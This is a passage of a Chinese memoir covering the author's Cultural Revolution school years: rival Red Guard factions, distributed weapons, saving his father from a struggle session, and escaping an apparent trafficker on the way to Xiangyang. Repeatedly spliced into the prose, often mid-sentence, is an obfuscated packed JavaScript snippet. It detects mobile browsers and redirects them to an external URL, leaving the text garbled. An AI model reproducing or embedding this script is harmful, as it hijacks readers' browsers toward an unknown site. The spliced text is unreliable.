回到家里,我的十元钱还没花完,30斤粮票也没用完。 母亲一看我脱下的衣服,就大声说:“嗳呀!怎么搞的,这全是虱子呀!” 怪不得天天身上痒得厉害,原来衣服上满是虱子。一定是那群在同济医学院同住房的河南学生传给我的。 母亲把我所有的衣服都放到大铁锅里煮了好长时间。 18. 第 18 章 五 时间来到了1967年,这一年发生的事就太多了。 春天里,学校里的□□组织就像雨后春笋般爆发了。 一个月内,我们学校就成立了13个□□组织。 这些组织的名称就五花八门了:“延安公社”、 “坚贞战斗兵团”、“金猴战斗兵团”、“红旗战斗兵团”、“红星战斗兵团”、“飞鸣镝战斗兵团”、等等。 后来又不断地变化、重组,形成了三大派别。 保守派组织是以“延安公社”为代表,和武汉的“百万雄狮”是一个观点的。 造反派组织是以“钢二司黄陂十中造反司令部”为代表,和武汉的“三钢”是一观点的。 所谓“三钢”,就是武汉的“钢工总”、“钢农总”、“钢二司”。 逍遥派以“坚贞战斗兵团”为代表。 我们这个年级共三个班,我们是三班。 据老师们说,一班的同学最规矩,二班的同学最听话,三班的同学最调皮。 最调皮的学生在这次运动中最活跃,全校先后成立过13个□□组织,就有12个组织的司令是我们三班的。 我先是参加了我们班长周昌和为司令的“坚贞战斗兵团”,学校大部分老师参加到我们这个组织了。 听说武汉“钢二司”在县一中设了联络处,在本县发展组织,我就到县里去找他们,申请加入他们“钢二司”。 “钢二司”联络处的人就领着我来到了武汉“钢二司的总部”。 总部的头头热情地接待了我,满足了我全部的要求。 我从钢二司总部带回了“武汉钢二司黄陂十中□□司令部”的公章和印有“武汉钢二司”字样的红旗、红袖章。 回到学校,我就找学校的几个□□组织的司令谈联合的事。 当时“武汉钢二司”名气很大,他们都非常愿意加入“武汉钢二司”。 于是,“红星战斗兵团”、“飞鸣镝战斗兵团”、“金猴战斗兵团”等组织的大部分同学都加入到了“武汉钢二司黄陂十中□□司令部”,他们原先的组织就撤销了。 我们这个组织一下子就发展到一百多人了。 我的年纪小,个子太小,觉得当司令不合适,就请我们班年纪最大、身材也高大、长得也很帅气的汪之平同学当司令,我做副司令,主管组织部和宣传部。 我创办了一个刊物《无名卒》,我担任主编。 陈天岚同学在钢板上刻仿宋字刻得好,负责刻印。 余述生同学毛笔字写得好,我起草大字报的文章,他负责抄写。当时,校园墙壁上贴满了我们写的大字报。 为了写好大字报,我每天都要读“两报一刊”。 我还发起成立了“文艺宣传队”,我任队长。 记得我请杜容先老师教舞蹈,中间有一节男生要牵女生的手。 徐丽君同学把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915223|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸向占仲德同学,占仲德很害羞,把手一缩,转身就跑了。 当年的学生真是单纯可爱! 那段时间,每天编辑刊物,写大字报,排练文艺节目,忙得不可开交。 搞不清是怎么回事,县武装部突然给我们发枪了。 我们领到了 36支步枪,两挺机枪,没有子弹,还有一箱手榴弹,都是真家伙。 当地驻军还派了一个班的战士给我们搞军训,军训了一个多月。 可是,不知怎么回事,后来这些武器又被武装部收走了。 收枪的时候,少了几个手榴弹。其中有两个手榴弹我是知道的,一个被一个名叫张必勇的同学拿去池塘炸鱼了,另一个则差点出了大事。 那是在一天傍晚,和我住在一个宿舍的同学孙厚琼偷偷拿来一个手榴弹,他想看看手榴弹爆炸时是个什么状况。 他站在宿舍门口,揭开盖子,猛一拉弦,手榴弹嗞嗞冒烟。 他看到手榴弹嗞嗞冒烟,吓得手直发抖,不知所措。 当时我正好在他身后,我大喊一声:“快扔啊!要炸了!” 他这才醒过神来,把手榴弹往上一扔。 我急忙把他按倒在地,两人一起伏在门边的床下。 “轰”的一下,手榴弹就在门前爆炸了,窗玻璃都炸破了。 就在门前不远处,还有几个同学和一位老师,也都吓了一大跳。真险啊!幸好没有人受伤。 19. 第 19 章 六 在我们搞军训期间,我家里出了大事,差点要了我父亲的命。 □□的风暴也波及到了农村,村里的那些人又趁机搞报复了。 他们说我父亲是□□份子,还捏造出十大罪行,其中最重大的罪行是污辱伟大领袖。 这个罪行就是那个古又木揭发的,他说他从我家的粪坑里发现了伟大领袖的画像。 于是大队决定召开批斗大会。 听到这个消息,我急忙赶回村里。 我父亲正在家里发火生气,把饭碗都摔了好几个。 我问父亲,我家的粪坑里是不是真有伟大领袖的画像,他说,有,但绝对不是我们家的人放进去的。 事情很清楚,是他们故意栽赃陷害。 我找到任本村小队队长的三苕货爹,一进门,我就问: “三苕货爹,听说大队要开批斗大会批斗我伯,有这事么?” 三苕货爹正在吃中饭,他用筷子敲着碗边说: “是大队书记决定的,我只是个小队长,我也没办法啊!” “你是小队长,大队作决定不可能不征求小队的意见,你也有责任。作这样的决定,难道你没参与吗?”我质问道。 “这事可怪不了我,举报的人说得有鼻子有眼的。”他装出一副无奈的样子说。 “你们要是敢开这个批斗大会,我就带□□砸了你们的会场!”我指着手臂上的红袖章说,“我告诉你,我是□□司令,有枪有手榴弹,不信你们试试。” 我深知我父亲是把脸面看得比生命还重要的人,如果真的被押到台上被当众批斗,我父亲一定活不成。 我在麻城最好的朋友刘文的父亲和我父亲同样的心性,刚听说就是因为被批斗而自杀了。 事态严重,我当天下午就赶回学校,立即召集我手下的“八大金钢”开会。 我虽然是副司令,实际上是我当家,“八大金钢”分别是“作战部”、“组织部”、“宣传部”、“联络部”的正副部长,也是我的铁哥们。 我把情况对他们一讲,他们个个义愤填膺,都一致同意和我一道去砸会场。 当天晚上,我就叫人把36支步枪集中起来,把那箱手榴弹也拿来。 枪虽然没子弹,但也能吓吓人,手榴弹却是真家伙。 这天晚上是翻来覆去睡不着。 睡到半夜,冷静一想,如果去砸会场,事情就闹大了,搞不好出人命,如果能“不战而屈人之兵”最好。 我思考再三,想到一个计策。 同学古文广和大队书记是同村,他父亲和书记关系好。 如果让古文广回村把我们要砸会场的事告诉这个大队书记,大队书记就不敢开这个批斗大会了。 主意打定,第二天一大早,我叫来古文广,他也是我的“八大金钢”之一,是我手下的干将。 我对他一讲,他就心领神会,立即就回村去了。 果然不出我所料,古文广回村对大队书记尽其夸张之能事,把我们砸会场的具体计划和安排说得真真切切,把大队书记吓坏了,立即宣布取消了批斗大会。 我家也就避过了这一劫。 为了确保我父亲的安全,我又想到一个主意。 当时武汉“三钢”都在全省范围内发展组织,“钢工总”面对工人发展,“钢农总”面对农民发展,“钢二司”面对学生发展。 我想,在我们会龙山地区建立一个“钢农总会龙山农民革命造反司令部”,让我父亲也参加到这个组织里去,就没人敢再欺凌我父亲了。 说干就干,我又跑到武汉,找到钢农总的总部。 钢农总总部的头头们同样热情地接待了我。 和上次在钢二司总部一样,我非常顺利地搞到了公章、红旗、红袖章。 我拿着这些东西回到村里,首先和瘫子爹商议行动方案。 第一步是成立一个筹备小组。 本村找来“苕一哥伯”、“药铺爹”和那位烈士的侄儿“海叔叔”,加上我父亲和“瘫子爹”。 “瘫子爹”说,还应去找外村的人,全大队十个村子,每个村子找一个。 于是,“苕一哥伯”、“药铺爹”、“海叔叔”就分头去找。 筹备小组很快就成立了。 第二步是筹备召开成立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915224|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大会。 每个村子都建立一个兵团,准备好各兵团的红旗和袖章,还要多张贴标语口号。 一切安排好后,我告诉他们,召开成立大会那天我再回来,我要回学校继续搞军训。 召开成立大会那天,真是热闹极了! 会场设在会龙山下一个小集市上,这个小集市其实就是个大一点的村子,叫“栗子园”。 整个集市就是一条古老的小街,不到大约一里路长,半边街属于黄陂县,半边街属于红安县。 这个集市是个“早市”,每天早上,附近的村民来赶早集,村民们把自己种的菜拿到这里来卖,然后再买些日用品回去。 街上有两个供销社,南边一个是黄陂县的,北边一个是红安县的。 街上有炸油条面窝的,有卖包子馒头的,有卖挂面的,有卖水果的,有卖洒的,有卖油的。 每天一大早,窄小的街道上一大早就挤满了人。 会场设在这里最合适了。 那一天,这里是人山人海,整个会场上红旗招展,人头攒动。 有来参加成立大会的,也有来看热闹的。 “钢农总会龙山农民革命造反司令部成立大会”的会标高挂在主席台上方,主席台上坐着总司令和各兵团司令。 我和古文广也坐在主席台上。 副司令海叔叔宣布大会开始。 首先是总司令讲话。我们推选的总司令是一位退伍军人,他还真有点总司令的派头。 我代表“钢农总”总部发言,特地讲了“抓革命,促生产”的道理,强调抓革命别忘了搞生产。 古文广代表“钢二司”发言,表示祝贺。 “钢农总会龙山农民革命造反司令部”就这样成立了。 我父亲和“苕一哥伯”、“药铺爹”、“海叔叔”、“苕一哥伯”都是本村兵团部的领导人,每天都带着“钢农总”的红袖章。 村子里谁有资格加入组织,他们五个人说了算。所以,那几个老想报复我父亲的人就没有加入组织。 自此以后,直到□□结束改革开放开始,再也没人敢大张旗鼓地欺侮我父亲了。 20. 第 20 章 七 这一年的七月份,武汉地区的造反派和保皇派的斗争白热化了,发生了大规模的武斗。 武斗也波及到了黄陂县,县里对立的两派真枪实弹地打起来了,听说还打死了一位解放军战士。 我们学校所在地的对立的两派也发生了武斗,听说也打死了一位参加游行的农民。 我是坚决反对武装斗的,我们只是帖大字报,编刊物,搞宣传队。 组织内还是有几个同学不听指挥。 蔡榨中学有个造反派组织和当地的保皇派组织发生冲突,造反派组织派人来我们组织寻求支援。 我坚决不同意派人去支援,可是张必勇和古文广坚决要去。当天下午他俩就去了。 第二天一大早,我正从文艺宣传队的放服装道具的房间里出来,古文广就慌慌张张跑来找我。 “大事不好,张必勇被抓了。” “叫你们不要去,你们偏要去。”我很生气,就问:“抓到什么地方去了?” “不知道哇。” 古文广讲述了他脱险的经历。 两派双方一对阵,古文广和张必勇就逃跑了。 他俩往我们学校的方向跑,对方一群人在后面追。 对方开枪了,子弹从他耳边飞过。 他躲在田埂下面,追他的人就从他身边跑过去了。 张必勇被追上了,就被抓走了。 我急忙赶到蔡榨,找人一打听,得知张必勇被关在中心小学里。 当时,中心小学是当地的保皇派组织的总部。 保皇派组织里有一个头头是我们古家田的人,叫古长春,他是蔡榨中学的学生。 我找到古长春,他正在一个房间里审问张必勇。 看得出,张必勇挨过打,且打得不轻。 他一见我,就哭了,对我说:“之华,快救救我吧!” 我把古长春请到门外,对他讲了张必勇的情况。 张必勇是个孤儿,父母早亡,两个姐姐远嫁他乡。65年,他好不容易考上黄陂十中,无依无靠的。 我请他们放人。 但古长春说,现在不能放人,因为问题太严重了。 古长春告诉我,张必勇企图炸他们总部的会议室,被发现了,没炸成。 现在要他交待指使他行凶的人。 没办法,我就跑到张必勇的老家,找到他们村的小队长。 小队长人还不错,他找到他们村一个在保皇派组织当大头头的人,这才救出了张必勇。 张必勇受了很严重的内伤,还吐了血,他吃了好一阵子中药。 紧接着武汉就爆发了“七、二0”事件。武汉军区司令员被打倒了,“百万雄狮”也被解散了。 造反派占了上风,开始夺权。各级政府及部门都相继成立了“革命委员会”。 我们学校也成立了“革命委员会”,是“三结合”的方式。 我们学校的革委会主任是学校食堂的工友,就是那个红白两案都很拿手的厨师胡师傅。 副主任是学校校长和我们这个组织的司令也是我的同班同学汪之平。 可能是我大字报的文章写得好,刊物编得好,文艺宣传队搞得也不错,当然也因为我是副司令,所以成了学校革委会的成员之一。 学校革委会开会时,我提出要复课,我觉得学生还得读书学习,光搞革命不行。 但是有人反对,他们说:“现在全国都没有复课的,上面也没有指示,我们学校怎么能这么搞呢?” 胡师傅和校长却赞成我的意见,于是我们学校就开始复课了,把被打倒了而靠边站的肖定远主任也请回来了。 肖主任是非常棒的教导主任,同学们都很崇敬他又最怕他。 他不仅业务能力强,诗词也写得好。 他是因为有人从他的诗集中找出了有资产阶段思想和对社会不满的诗句而被打倒的。 肖主任既和气又严厉,每天他都在校园里巡视,同学们称他为“巡逻艇”。 后来,他是从县实验中学校长的位置上退休的。 记得有一次,我被一本小说迷住了,躲在床上看了一个通宵,直到第二天天亮校园铃声响了,我还有几页没看完。 同学们都到操场上去了,我一个人还在床上看小说。 突然,有一个人抢我的书。 我正看得有味,眼睛还没离开书,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我则专抢古典的。《史记》、《三国志》、《左传》、《昭明文选》、《古文观止》、《唐诗品汇》、《古文辞类纂》等,装了一木箱和一布袋。 一同偷书的姚友昌说:“窃书不为偷。” 我们几个人当时都“窃”了不少书。 第二天一大早,我们就都把书挑回家了。 当时学校已经没什么人了,也没人过问。 现在想起来,有点对不起母校。 回乡十年,这些书也读了十年。后来上了中文系,这些书真还起了些作用。我的古文功底好,得力于“窃”的这些书啊! 21. 第 21 章 八 大部分同学都回家了,但是,我们三十几个学生迟迟不愿意回家。 学上不成了,以后怎么办呢?我们商量着自己找出路。 古文广同学说,他听说有一个农场在招工,我们可以去试一试。 有十几个同学愿意去试一试。 学校的学生食堂已经不做饭了。 那天一大早,我们在宿舍里用我的铝制的洗脸盆煮了一盆饭。 大家分着吃了,吃完饭就出发了。 我们这十几个人,背着行李走了四十多里,来到了一个镇上,天已经黑了。 大家身上没带多少钱,吃住都不敢花钱。 在街边。一人买了两个馒头吃了,就在汽车站候车室睡了。 第二天一大早,我们就向古文广说的那个农场走去。 那个农场原来是长江边一个大湖,后来围湖造田,成了农场。 我们沿着长江走,一直走到吃午饭的时候才走到这个农场。 这个农场很大,一眼望不边的稻田和棉田。 当时正是割稻子和摘棉花的时候,的确需要大量的劳动力。 我们找到了农场的负责人,他告诉我们,他们只招割稻子和摘棉花的临时工,这些活干完了就走人。 他还说,我们年纪小,又没有干农活的经验,不合他们招临时工的条件。 我们早饭都没吃,急忽忽赶到这里,又饥又饿,没想到是这么个结果,都大失所望。 这位场长人还真不错,他招待我们吃午饭,一人一砂钵白米饭。 我们一行人垂头丧气往回走,走到半路,天就黑了。 这地方是湖区,附近又没有村镇,到什么地方睡觉成了问题。 我看到一处地方,有一片晒棉花的架子,就提议在这棉花架子下面睡。 大家都说好,我们就都在晒棉花的架子下睡了。 谁知,早上一醒来,就发现浑身都是从架子上的棉花里钻出来的小肉虫。 我头发里耳朵里都是小肉虫,恐怖极了,只觉得浑身起鸡皮疙瘩。 幸好旁边有一道水渠,我们都脱光衣服钻进水渠里,只见水面上满是小肉虫,都是从我们身上淹出来的。 没有别的路走了,同学们就只好各自回家了。 我就这样结束了初中生活,没有毕业典礼,毕业证还是自己给自己发的。 同学们也没有什么告别仪式告别活动,而是分批陆陆续续地离开学校的。 我们这十几个人是最后一批。 我是最后一个。 现在,我们都退休了,年纪最小的我也年逾古稀了。 同学们之间感情很深,成立了同学会,不定期地举行同学聚会。有诗为证: 黄陂十中老同学聚会有感 冬去春来浑不觉,转眼已过五十年。 相逢把酒千杯少,多少往事谈笑间。 记得当年十二三,立志勤学在校园。 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915226|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师不少名家后,同学大多出贫寒。 我辈有幸遇贤师,生活虽苦心也甜。 一周自带几斤米,师生动手浇菜园。 一钵咸菜管一周,一斤豆酱管六天。 记得有时无白米,红苕绿豆当美餐。 吃肉但等运动会,每班一盆味真鲜。 莫道当时生活苦,琴棋书画乐无边。 心怀天下多豪志,从来攻书不畏难。 要做国家栋梁材,学习个个自争先。 不料风云骤然起,校园竟然起烽烟。 不搞学习搞革命,不读诗书搞串联。 坐车坐船南北闯,北京上海四处玩。 玩了一圈回学校,革命造反闹得欢。 你是红色司令部,我是红色造反团。 我说你是保皇派,你说我是武老谭。 漫天遍地大字报,唇枪舌剑唾沫翻。 学生揪出老师斗,校工掌了校长权。 校园遍地长荒草,牛羊放到教室边。 忽然中央一声令,统统下乡又上山。 一气偷了图书馆,挑着盗书返家园。 战天斗地学大寨,一干就是整十年。 边做农活边读书,书心不死盼长天。 有幸盼得乾坤转,恢复高考泪涟涟。 一月自学高中课,竟然榜上把名添。 上完大学上讲台,教书育人四十年。 退休自得晚年乐,诗书自娱乐陶然。 22. 第 22 章 第四章 酸甜苦辣都尝尽的那些年 一 1968年的除夕那天,天还没亮,父亲和母亲已经做好了年饭。 “起床啦!吃年饭啦!”父亲在堂屋里大声喊道。 我,二弟、三弟四弟,听到父亲的喊声,都急忙从北厢房里的床上爬起来。 母亲抱着半岁多的小妹妹,牵着四岁多的大妹妹,从南厢房出来了。 二弟从麻城中馆驿回来过年了,爷爷奶奶没有回。 我们那个地方过年的风俗与其他地方有点不同,别的地方大多是中午更多的是晚上吃年饭,而我们这个地方的年饭是一大早吃,而且还要比谁家的年饭吃得早,年饭吃得早的人家这一年会平安得福。 全家都来到堂屋时,桌子上已经摆好了父亲做的年饭。十几大碗菜,全是胡萝卜、白萝卜和豆腐做的,里面都没有肉。 只有一个大碗里有一条鱼,但这条鱼是不能吃的,叫“看鱼”,就是只能看不能吃,直到年过完了,正月十五以后才能吃。 怎么过年还吃不上肉呢?因为我家是村里最大的缺粮户。 什么是缺粮户呢? 当年村里是按工分吃粮,工分多,分的粮食就多,工分少,分的粮食就少。 我们家人多,当时八口人,只有一个半劳动力,父亲算一个,每天可挣10个工分,母亲算半个,每天挣4.5个工分。 年终小队里结帐,把工分折算成钱,10个工分大约两角钱,再用这个钱抵买粮食的钱。 虽然我们家分的粮食很少,但我父母挣工分结算的钱还是抵不了分的粮食的钱,一年下来,总要欠小队里不少钱,于是就成了缺粮户。 当时是按月分粮,每到分粮食的时候,缺粮户要先交“缺粮款”才能分到粮食,交不齐就“停秤”。 为了交“缺粮款”分到粮食,我父亲卖掉了屋子里所有能卖的东西。 先是卖家具,如柜子箱子之类,我母亲陪嫁的两个大木箱都卖了。 然后是卖房梁,我家堂屋里本来是有楼的,支撑这个楼有六根大木材,都卖完了,楼也没有了。 吃饭的桌子和几个板凳是不能卖的,留下来了。 有一年,也是到快过年的时候了,我家因交不齐“缺粮款”被“停秤”,没分到粮食。 大雪天,我母亲挑着养育了我们兄弟姐妹七人的摇篮和枷椅沿村叫卖,最后卖给了我的同学古文广家。 为此,我母亲哭了好几天,后来,直到八十多岁,一提起这事,我母亲都会流泪。 还有一年,又要交“缺粮款”,又要交我和我和弟妹们的学费,父亲到外地找亲戚借钱去了,母亲料定父亲借不到钱,就把北边的一间房子拆了。 把能卖钱的木材和瓦都卖了,屋顶换上了竹子和稻草。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915227|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么年饭桌上连一点肉都没有?我家的肉票、布票、油票都换钱交“缺粮款”了。 年饭桌上,父亲谈起我失学回家以后的出路。以后就在家里种田吗? 母亲说,荒年饿不死手艺人,不如学一门手艺。 正好,那位从武汉某建筑公司下放的木工师傅“赌博爹”(因为他特制爱赌博,村里人都叫他“赌博佬”)回家过年了,他当时在襄阳市做木工活。 我们村有个规矩,吃完年饭后,会挨家挨户祝贺新年。 吃完年饭,父亲就带着我挨家挨户祝贺新年。 到了“赌博爹”家,他家刚吃完年饭,父亲就趁这个机会和“赌博爹”谈起了我的事。 “赌博爹”是很喜欢我的,他之所以喜欢我是有个由来的。 那是在夏天乘凉的时候,他打了个谜语给村里的孩子们猜。 那谜语是: “左边不出头,右边不出头。说是不出头,就是不出头。” 村里其他的孩子都猜不出来,我一下子就猜出来了,是个“林”字。 他就夸我聪明,从此就很喜欢我。 父亲请“赌博爹”收我做徒弟,没想到“赌博爹”很爽快地就答应了。 他说,年后他去和他一起做工的师傅们商量一下,商量好了,就通知我去襄阳学木匠。 我也愿意学木匠,总比在家种田好。 23. 第 23 章 二 年后,我就在家里边做农活边等消息。 一直等到5月份,“赌博爹”的一个同事,是一个姓魏的木匠师傅,请事假回家,他带来了“赌博爹”的通知,并答应过几天带我一起去襄阳。 父母和我都非常高兴。 那天一大早,魏师傅就来了,我带上很简单的行李,就和这木匠师傅一起出发了。 我们乘公共汽车来到了汉口,魏师傅说有事要到亲戚家一趟,他把他的锯、斧头等木工工具交给我,让我带到火车站去等他。 开往襄阳的火车要到汉阳火车站去上。 大串联时我玩遍了武汉市,我知道去汉阳火车站怎么走,中间要坐几站公交车。 于是,我挑着行李和工具晃晃悠悠往一个公交车站的方向走。 我正在公交车站等车,忽然走过来一个中年人,他问:“你要到哪里去呀?” 我回答说:“去汉阳火车站。” “坐火车到哪里去呢?”他又问。 “到襄阳去。”我一点防备心都没,就照实说。 “到襄阳去做什么呢?”他又问。 “到襄阳去学木工。”我如实回答道。 “我也是到汉阳去的,你跟我一起走吧!” 看他很热情地样子,我就和他一起上了公交车。 到了一个公交站,他突然一手拿起我放在身边的行李和工具,一手拉起我的胳膊,要拉我下车,说:“就在这里下吧!” 我一看这地方,离汉阳火车站还有几站路。 我正犹豫间,他已经把我拉下车了。 他说:“我就住在附近,时间还早,先到我家休息一会,喝点茶,然后我送你到火车站。”边说边拉着我走,他根本就不是在和我商量。 我心里开始忐忑起来,可能遇上坏人了。于是盘算着怎么摆脱这个人。 这人把我带到一个较封闭的小院子里。 我扫视了一下这院子的环境,这是一个四合院,四面的房屋都是两层,房屋比较破旧。 他把我带到最里面的一个房子里,一进屋,他就把我的行李和工具丢到楼上去了。 他喊了一声什么,我听不懂。只见从楼上走下来一个披散着头发、衣着怪异的年轻女人。 这时,我又看到门外还有几个不三不四的人在朝我们张望。 这个人从一个大铞子里面倒了一碗水递给我,说:“先喝点水吧,我想和你谈谈。” 的确有点口渴,我一口气喝完了碗里的水,对他说:“谢谢你的水!我要赶火车去。” “急什么啊?我想和你商量个事呢,是好事。”他笑了笑对我说。 这时我觉得他的笑有点恐怖,但还是陪着笑对他说:“谢谢你的好意,我还有个一起去襄阳的师傅在火车站等我,我得赶快去,等不到我,他会着急的。” 这时,有两个女人在门外说:“好姐啊!姐杆!” 什么意思,我听不懂。 这个人对外面的女人说:“遣遣遣!” 他又对那女人说了些我听不懂的话。 我对他说:“我有点渴了”一边说一边起身,从桌上拿起那个大铞子向碗里倒水。 我边喝水,边打主意想办法逃走,边和他说话。 “做木工多苦啊!我这里有好工作,很适合你,赚的钱还多。” “是什么工作?”我假装感兴趣的样子说。 “先不告诉你,你先同意了,我再告诉你。” “什么工作我都不知道,我怎么同意?”我又喝了一大碗水, 抹了一下嘴对他说。 “当然是好工作!你条件很好,很适合你的。” 我又起身倒了一碗水,说:“我很想学木工,我有一个手艺非常好的师傅。” “当木匠有么事好的!又累人又挣不了多少钱。”他好像有点不耐烦的样子了。 “我真的要走了,把我的行李拿下来吧!”我拿起碗,边喝水边对他说,“天快黑了,我那个师傅一定等得急了。” 这时,那个靠在门边盯着我看一直没说话的年轻女人说:“拐子,莫让他走了。” “我晓得,他不得走的。”他像很有把握的样子说。 接下来,他啰哩啰嗦地说他这里的工作又轻松又快活又能赚很多钱,但始终不说具体做什么工作。 他说的时候我一直在喝水,把一大铞子水都喝完了。脑子里急速地转着主意。 要想脱身,只有将计就计了。 我假装有所动摇的神态,对他说,和我一起的师傅的工具还在我这里,他要是见不到我,会报警的,他一报警就麻烦了。我先把他的工具送到火车站,跟他说我在武汉找到工作了,不去襄阳了,然后再回来。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915228|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人听我这么说,想了一想,说:“你走了就不会回来了吧?” 我说:“还是你说的有道理,当木匠赚不了多少钱,既然你这里有能赚大钱的工作,我怎么会不回来呢?” 为了让他相信我的话,我接着说:“我从生产队出来,每月要向生产队交30元副业款,如果我在你这里工作赚不到钱,这30元副业款你得替我交,如果你答应我这个条件,我就愿意在你这里工作了。” 他盯着我,想了一会,说:“我答应你的条件。你把工具送去后马上回来,我等着你。” 他把我的工具和行李从楼上拿下来了,我挑起来就走。 他把我送到门口还叮嘱我:“送去了就马上回来啊!” 我出了那个小院,转过一个巷子口,就开始加快脚步向汉阳火车站跑。 到车站时,已经浑身汗透了,头也疼得很厉害,我一下子瘫坐在候车椅上。 车站里没几个人,那个木工师傅也不见人影。 这时,旁边一个二十多岁的年轻人走过来,问我道:“你怎么了?好像不大舒服。” 我说:“我头疼得厉害。” 他摸了摸我的额头,说:“呀,你在发高烧。” 这个年轻人真是个好人,他拿出一根银针,在我的印堂上扎了好几针,又去搞开水给我喝。 车来了,他又帮我买火车票。 上车了,他一路上精心照顾我。 出了火车站分手时,他还说:“我来襄阳是有急事要办,不然我就会送你去你要去的那个工地,真是抱歉!” 我连忙说:“谢谢您一路上照顾我!您不必送了,我知道怎么走。” 终于到襄阳了! 50多年后,襄阳诗词协会出会刊,邀我写一首诗,我写了一首词给他们: 多丽 忆襄阳 月儿明。依窗漫数寒星。起幽思、尘封轻扫,忽忆襄水前情。少年时、沐风栉雨,同患难、挚友良朋。遇险南山,逢凶北岭,堪怜九死得余生。更可叹、诗书废弃,求学苦无门。空对那、一川逝水,一座愁城。 变沧桑、甘来苦尽,怒潮冲破残冰。出天罗、青锋初试,驾风云、五岳登临。翰墨春秋,琴书浪漫,高山流水唱风清。忆襄阳、五十余载,心海浪难平。多情月,知我情否?云里无声。 在襄阳的大半年,真的是“九死得余生”啊! 24. 第 24 章 三 我要去的地方在襄阳城南,大约有三十里路要走。 我挑着行李和工具,沿着汉水岸边向南走。右边是青山,左边是绿水。汉水河面上还有不少的帆船,真是好风景啊! 吃午饭的时候,我来到汉水河岸边的一个小饭店。 我出门只带了10元钱,乘公交车乘火车用了一大半。不敢点菜吃饭,就要了一碗清汤面。 旁边的桌子上有几个老汉,边喝茶边谈古论今。 有个老汉指着店前的河面说:“这个地方就是关公当年水淹七军的地方。” 他又指着前面不远一座山说:“那里就是庞统曾经隐居的地方。” 听到他们讲三国,我不由来了兴趣。吃完面还坐在那里听他们讲三国故事,竟忘了赶路。 一直听到下午四点多,那几个老汉散去了,我才挑起行李和工具往前走。 晚上七点多,终于到了目的地。 这里已经远离城镇了,一片荒山坡,几间工棚。 原来这里是一个刚刚开始兴建工厂的工地,这个正在兴建的工厂是“襄阳水泥制品厂”。 我的师傅“赌博爹”和那位在武汉分手的姓魏的木工师傅正坐在一间工棚前聊天。 魏师傅见到我,连忙起身跑过来,接过我挑的行李和工具,说:“你怎么才来呀,把人都急死了,你到哪里去了?” “赌博爹”丢掉手里的烟蒂,走过来说:“还没吃饭吧,先吃饭吧,别的事吃了饭再说。” 魏师傅从工地食堂给我拿来两个馒头和几根咸萝卜,说:“食堂里就这些东西了,将就着吃吧!” 我边吃边打量了一下这个工棚,里面堆满了木头,中间有一个很大的工作台,地上有很多刨花。 靠墙边的稻草上铺着几床被子,这大概就是睡觉的地方了。 “赌博爹”烟瘾很大,他又点着了一根烟,坐在一旁对我说:“这里的活恐惧你干不了,你还是回去吧!” 我一听,吃了一惊。怎么刚来就要我回去呢? 我就问他“赌博爹”:“是什么活呢?,我可以学着干。” “拉大锯,你干得了吗?” 所谓的“拉大锯”,的确是个力气活。就是要把很大的圆木锯成木板,是两个人抬着大锯拉。 这个活,既要有技术,又要有大力气。 我已经满17岁了,身高也有一米七了。我说:“你让我先试试吧!” 